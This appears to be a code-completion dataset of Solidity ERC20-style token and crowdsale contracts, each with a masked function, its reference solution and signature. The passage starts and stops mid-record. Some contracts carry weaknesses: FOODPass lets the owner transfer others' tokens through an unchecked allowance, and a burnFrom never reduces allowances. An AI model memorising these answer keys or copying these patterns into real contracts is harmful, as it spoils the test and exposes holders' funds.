_rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(teamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 25, 'taxFee should be in 1 - 25'); _taxFee = taxFee; } function _setTeamFee(uint256 teamFee) external onlyOwner() { require(teamFee >= 1 && teamFee <= 25, 'teamFee should be in 1 - 25'); _teamFee = teamFee; } function _setTeamWallet(address payable teamWalletAddress) external onlyOwner() { _teamWalletAddress = teamWalletAddress; } function _setbuybackWallet(address payable buybackWalletAddress) external onlyOwner() { _buybackWalletAddress = buybackWalletAddress; } function _setMarketingWallet(address payable marketingWalletAddress) external onlyOwner() { _marketingWalletAddress = marketingWalletAddress; } function _setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() { require(maxTxAmount >= 100000000000000e9 , 'maxTxAmount should be greater than 100000000000000e9'); _maxTxAmount = maxTxAmount; } }
require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate);
function tokenFromReflection(uint256 rAmount) public view returns(uint256)
function tokenFromReflection(uint256 rAmount) public view returns(uint256)
66551
MINI_BTC
approveAndCall
contract MINI_BTC is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "MBTC"; name = "MINI BTC"; decimals = 1; _totalSupply = 210000000000; balances[0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070] = _totalSupply; emit Transfer(address(0), 0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract MINI_BTC is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "MBTC"; name = "MINI BTC"; decimals = 1; _totalSupply = 210000000000; balances[0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070] = _totalSupply; emit Transfer(address(0), 0xB4797e7F063bc4Ea068eE94703B76bEAF1D63070, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
57344
Crowdsale
Crowdsale
contract Crowdsale is Ownable { using SafeMath for uint; address owner; token public tokenReward; uint start = 1523232000; uint period = 22; function Crowdsale ( address addressOfTokenUsedAsReward ) public {<FILL_FUNCTION_BODY> } modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } function sellTokens() public saleIsOn payable { owner.transfer(msg.value); uint price = 400; if(now < start + (period * 1 days ).div(2)) { price = 800;} else if(now >= start + (period * 1 days).div(2) && now < start + (period * 1 days).div(4).mul(3)) { price = 571;} else if(now >= start + (period * 1 days ).div(4).mul(3) && now < start + (period * 1 days )) { price = 500;} uint tokens = msg.value.mul(price); tokenReward.transfer(msg.sender, tokens); } function() external payable { sellTokens(); } }
contract Crowdsale is Ownable { using SafeMath for uint; address owner; token public tokenReward; uint start = 1523232000; uint period = 22; <FILL_FUNCTION> modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } function sellTokens() public saleIsOn payable { owner.transfer(msg.value); uint price = 400; if(now < start + (period * 1 days ).div(2)) { price = 800;} else if(now >= start + (period * 1 days).div(2) && now < start + (period * 1 days).div(4).mul(3)) { price = 571;} else if(now >= start + (period * 1 days ).div(4).mul(3) && now < start + (period * 1 days )) { price = 500;} uint tokens = msg.value.mul(price); tokenReward.transfer(msg.sender, tokens); } function() external payable { sellTokens(); } }
owner = msg.sender; tokenReward = token(addressOfTokenUsedAsReward);
function Crowdsale ( address addressOfTokenUsedAsReward ) public
function Crowdsale ( address addressOfTokenUsedAsReward ) public
16627
FOODPass
null
contract FOODPass is ERC20Interface, Ownable { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; uint256 public totalSupply; uint256 public tokenDecimal = 1000000000000000000; constructor() public {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool success) { require(balances[_from] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function () payable public { balances[msg.sender] += msg.value; } }
contract FOODPass is ERC20Interface, Ownable { uint256 constant private MAX_UINT256 = 2**256 - 1; mapping (address => uint256) public balances; mapping (address => mapping (address => uint256)) public allowed; string public name; uint8 public decimals; string public symbol; uint256 public totalSupply; uint256 public tokenDecimal = 1000000000000000000; <FILL_FUNCTION> function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) onlyOwner public returns (bool success) { require(balances[_from] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function () payable public { balances[msg.sender] += msg.value; } }
totalSupply = 3000000 * tokenDecimal; balances[msg.sender] = totalSupply; name = "FoodPass"; decimals = 18; symbol = "FPASS";
constructor() public
constructor() public
91818
TokenERC20
_transfer
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor(uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } function _transfer(address _from, address _to, uint _value) internal {<FILL_FUNCTION_BODY> } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
contract TokenERC20 { string public name; string public symbol; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Burn(address indexed from, uint256 value); constructor(uint256 initialSupply, string memory tokenName, string memory tokenSymbol) public { totalSupply = initialSupply * 10 ** uint256(decimals); balanceOf[msg.sender] = totalSupply; name = tokenName; symbol = tokenSymbol; } <FILL_FUNCTION> function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } }
require(_to != address(0x0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
function _transfer(address _from, address _to, uint _value) internal
function _transfer(address _from, address _to, uint _value) internal
24734
YearnFinanceMoneyToken
endPresale3
contract YearnFinanceMoneyToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, presale1Start, presale1End, presale2Start, presale2End, presale3Start, presale3End } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve+presale1+presale2+presale3); remainingTokens1 = presale1; remainingTokens2 = presale2; remainingTokens3 = presale3; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Presale1 **/ function () public payable { require(msg.value > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens1 = weiAmount.mul(presale1Price).div(1 ether); uint256 tokens2 = weiAmount.mul(presale2Price).div(1 ether); uint256 tokens3 = weiAmount.mul(presale3Price).div(1 ether); uint256 returnWei = 0; if (currentStage == Stages.presale1Start) { require(currentStage == Stages.presale1Start); require(remainingTokens1 > 0); if(tokensSold1.add(tokens1) > presale1){ uint256 newTokens1 = presale1.sub(tokensSold1); uint256 newWei1 = newTokens1.div(presale1Price).mul(1 ether); returnWei = weiAmount.sub(newWei1); weiAmount = newWei1; tokens1 = newTokens1; } tokensSold1 = tokensSold1.add(tokens1); // Increment raised amount remainingTokens1 = presale1.sub(tokensSold1); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens1); emit Transfer(address(this), msg.sender, tokens1); owner.transfer(weiAmount);// Send money to owner } if (currentStage == Stages.presale2Start) { require(currentStage == Stages.presale2Start); require(remainingTokens2 > 0); if(tokensSold2.add(tokens2) > presale2){ uint256 newTokens2 = presale2.sub(tokensSold2); uint256 newWei2 = newTokens2.div(presale2Price).mul(1 ether); returnWei = weiAmount.sub(newWei2); weiAmount = newWei2; tokens2 = newTokens2; } tokensSold2 = tokensSold2.add(tokens2); // Increment raised amount remainingTokens2 = presale2.sub(tokensSold2); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens2); emit Transfer(address(this), msg.sender, tokens2); owner.transfer(weiAmount);// Send money to owner } if (currentStage == Stages.presale3Start) { require(currentStage == Stages.presale3Start); require(remainingTokens3 > 0); if(tokensSold3.add(tokens3) > presale3){ uint256 newTokens3 = presale3.sub(tokensSold3); uint256 newWei3 = newTokens3.div(presale3Price).mul(1 ether); returnWei = weiAmount.sub(newWei3); weiAmount = newWei3; tokens3 = newTokens3; } tokensSold3 = tokensSold3.add(tokens3); // Increment raised amount remainingTokens3 = presale3.sub(tokensSold3); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens3); emit Transfer(address(this), msg.sender, tokens3); owner.transfer(weiAmount);// Send money to owner } } /** /** * @dev startPresale1 starts the public PRESALE1 **/ function startPresale1() public onlyOwner { require(currentStage != Stages.presale1End); currentStage = Stages.presale1Start; } /** * @dev endPresale1 closes down the PRESALE1 **/ function endPresale1() internal { currentStage = Stages.presale1End; // Transfer any remaining tokens if(remainingTokens1 > 0) balances[owner] = balances[owner].add(remainingTokens1); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizePresale1 closes down the PRESALE1 and sets needed varriables **/ function finalizePresale1() public onlyOwner { require(currentStage != Stages.presale1End); endPresale1(); } /** * @dev startPresale2 starts the public PRESALE2 **/ function startPresale2() public onlyOwner { require(currentStage != Stages.presale2End); currentStage = Stages.presale2Start; } /** * @dev endPresale2 closes down the PRESALE2 **/ function endPresale2() internal { currentStage = Stages.presale2End; // Transfer any remaining tokens if(remainingTokens2 > 0) balances[owner] = balances[owner].add(remainingTokens2); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizePresale2 closes down the PRESALE2 and sets needed varriables **/ function finalizePresale2() public onlyOwner { require(currentStage != Stages.presale2End); endPresale2(); } function startPresale3() public onlyOwner { require(currentStage != Stages.presale3End); currentStage = Stages.presale3Start; } /** * @dev endPresale3 closes down the PRESALE3 **/ function endPresale3() internal {<FILL_FUNCTION_BODY> } /** * @dev finalizePresale3 closes down the PRESALE3 and sets needed varriables **/ function finalizePresale3() public onlyOwner { require(currentStage != Stages.presale3End); endPresale3(); } function burn(uint256 _value) public returns (bool succes){ require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; totalSupply_ -= _value; return true; } function burnFrom(address _from, uint256 _value) public returns (bool succes){ require(balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] -= _value; totalSupply_ -= _value; return true; } }
contract YearnFinanceMoneyToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, presale1Start, presale1End, presale2Start, presale2End, presale3Start, presale3End } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve+presale1+presale2+presale3); remainingTokens1 = presale1; remainingTokens2 = presale2; remainingTokens3 = presale3; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Presale1 **/ function () public payable { require(msg.value > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens1 = weiAmount.mul(presale1Price).div(1 ether); uint256 tokens2 = weiAmount.mul(presale2Price).div(1 ether); uint256 tokens3 = weiAmount.mul(presale3Price).div(1 ether); uint256 returnWei = 0; if (currentStage == Stages.presale1Start) { require(currentStage == Stages.presale1Start); require(remainingTokens1 > 0); if(tokensSold1.add(tokens1) > presale1){ uint256 newTokens1 = presale1.sub(tokensSold1); uint256 newWei1 = newTokens1.div(presale1Price).mul(1 ether); returnWei = weiAmount.sub(newWei1); weiAmount = newWei1; tokens1 = newTokens1; } tokensSold1 = tokensSold1.add(tokens1); // Increment raised amount remainingTokens1 = presale1.sub(tokensSold1); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens1); emit Transfer(address(this), msg.sender, tokens1); owner.transfer(weiAmount);// Send money to owner } if (currentStage == Stages.presale2Start) { require(currentStage == Stages.presale2Start); require(remainingTokens2 > 0); if(tokensSold2.add(tokens2) > presale2){ uint256 newTokens2 = presale2.sub(tokensSold2); uint256 newWei2 = newTokens2.div(presale2Price).mul(1 ether); returnWei = weiAmount.sub(newWei2); weiAmount = newWei2; tokens2 = newTokens2; } tokensSold2 = tokensSold2.add(tokens2); // Increment raised amount remainingTokens2 = presale2.sub(tokensSold2); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens2); emit Transfer(address(this), msg.sender, tokens2); owner.transfer(weiAmount);// Send money to owner } if (currentStage == Stages.presale3Start) { require(currentStage == Stages.presale3Start); require(remainingTokens3 > 0); if(tokensSold3.add(tokens3) > presale3){ uint256 newTokens3 = presale3.sub(tokensSold3); uint256 newWei3 = newTokens3.div(presale3Price).mul(1 ether); returnWei = weiAmount.sub(newWei3); weiAmount = newWei3; tokens3 = newTokens3; } tokensSold3 = tokensSold3.add(tokens3); // Increment raised amount remainingTokens3 = presale3.sub(tokensSold3); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens3); emit Transfer(address(this), msg.sender, tokens3); owner.transfer(weiAmount);// Send money to owner } } /** /** * @dev startPresale1 starts the public PRESALE1 **/ function startPresale1() public onlyOwner { require(currentStage != Stages.presale1End); currentStage = Stages.presale1Start; } /** * @dev endPresale1 closes down the PRESALE1 **/ function endPresale1() internal { currentStage = Stages.presale1End; // Transfer any remaining tokens if(remainingTokens1 > 0) balances[owner] = balances[owner].add(remainingTokens1); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizePresale1 closes down the PRESALE1 and sets needed varriables **/ function finalizePresale1() public onlyOwner { require(currentStage != Stages.presale1End); endPresale1(); } /** * @dev startPresale2 starts the public PRESALE2 **/ function startPresale2() public onlyOwner { require(currentStage != Stages.presale2End); currentStage = Stages.presale2Start; } /** * @dev endPresale2 closes down the PRESALE2 **/ function endPresale2() internal { currentStage = Stages.presale2End; // Transfer any remaining tokens if(remainingTokens2 > 0) balances[owner] = balances[owner].add(remainingTokens2); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizePresale2 closes down the PRESALE2 and sets needed varriables **/ function finalizePresale2() public onlyOwner { require(currentStage != Stages.presale2End); endPresale2(); } function startPresale3() public onlyOwner { require(currentStage != Stages.presale3End); currentStage = Stages.presale3Start; } <FILL_FUNCTION> /** * @dev finalizePresale3 closes down the PRESALE3 and sets needed varriables **/ function finalizePresale3() public onlyOwner { require(currentStage != Stages.presale3End); endPresale3(); } function burn(uint256 _value) public returns (bool succes){ require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; totalSupply_ -= _value; return true; } function burnFrom(address _from, uint256 _value) public returns (bool succes){ require(balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] -= _value; totalSupply_ -= _value; return true; } }
currentStage = Stages.presale3End; // Transfer any remaining tokens if(remainingTokens3 > 0) balances[owner] = balances[owner].add(remainingTokens3); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance);
function endPresale3() internal
/** * @dev endPresale3 closes down the PRESALE3 **/ function endPresale3() internal
30921
KpopItem
transferToWinner
contract KpopItem is ERC721 { address public author; address public coauthor; address public manufacturer; string public constant NAME = "KpopItem"; string public constant SYMBOL = "KpopItem"; uint public GROWTH_BUMP = 0.4 ether; uint public MIN_STARTING_PRICE = 0.001 ether; uint public PRICE_INCREASE_SCALE = 120; // 120% of previous price uint public DIVIDEND = 3; address public KPOP_CELEB_CONTRACT_ADDRESS = 0x0; address public KPOP_ARENA_CONTRACT_ADDRESS = 0x0; struct Item { string name; } Item[] public items; mapping(uint => address) public itemIdToOwner; mapping(uint => uint) public itemIdToPrice; mapping(address => uint) public userToNumItems; mapping(uint => address) public itemIdToApprovedRecipient; mapping(uint => uint[6]) public itemIdToTraitValues; mapping(uint => uint) public itemIdToCelebId; event Transfer(address indexed from, address indexed to, uint itemId); event Approval(address indexed owner, address indexed approved, uint itemId); event ItemSold(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner); event TransferToWinner(uint itemId, uint oldPrice, uint newPrice, string itemName, address prevOwner, address newOwner); function KpopItem() public { author = msg.sender; coauthor = msg.sender; } function _transfer(address _from, address _to, uint _itemId) private { require(ownerOf(_itemId) == _from); require(!isNullAddress(_to)); require(balanceOf(_from) > 0); uint prevBalances = balanceOf(_from) + balanceOf(_to); itemIdToOwner[_itemId] = _to; userToNumItems[_from]--; userToNumItems[_to]++; delete itemIdToApprovedRecipient[_itemId]; Transfer(_from, _to, _itemId); assert(balanceOf(_from) + balanceOf(_to) == prevBalances); } function buy(uint _itemId) payable public { address prevOwner = ownerOf(_itemId); uint currentPrice = itemIdToPrice[_itemId]; require(prevOwner != msg.sender); require(!isNullAddress(msg.sender)); require(msg.value >= currentPrice); // Set dividend uint dividend = uint(SafeMath.div(SafeMath.mul(currentPrice, DIVIDEND), 100)); // Take a cut uint payment = uint(SafeMath.div(SafeMath.mul(currentPrice, 90), 100)); uint leftover = SafeMath.sub(msg.value, currentPrice); uint newPrice; _transfer(prevOwner, msg.sender, _itemId); if (currentPrice < GROWTH_BUMP) { newPrice = SafeMath.mul(currentPrice, 2); } else { newPrice = SafeMath.div(SafeMath.mul(currentPrice, PRICE_INCREASE_SCALE), 100); } itemIdToPrice[_itemId] = 